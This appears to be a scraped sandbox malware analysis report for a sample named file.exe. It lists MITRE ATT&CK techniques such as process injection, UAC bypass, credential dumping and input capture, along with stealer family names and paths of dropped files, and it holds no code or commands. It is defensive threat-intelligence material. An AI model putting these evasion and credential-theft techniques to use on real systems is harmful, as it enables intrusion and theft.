Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9c2827fca4.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe

Windows Analysis Report
file.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre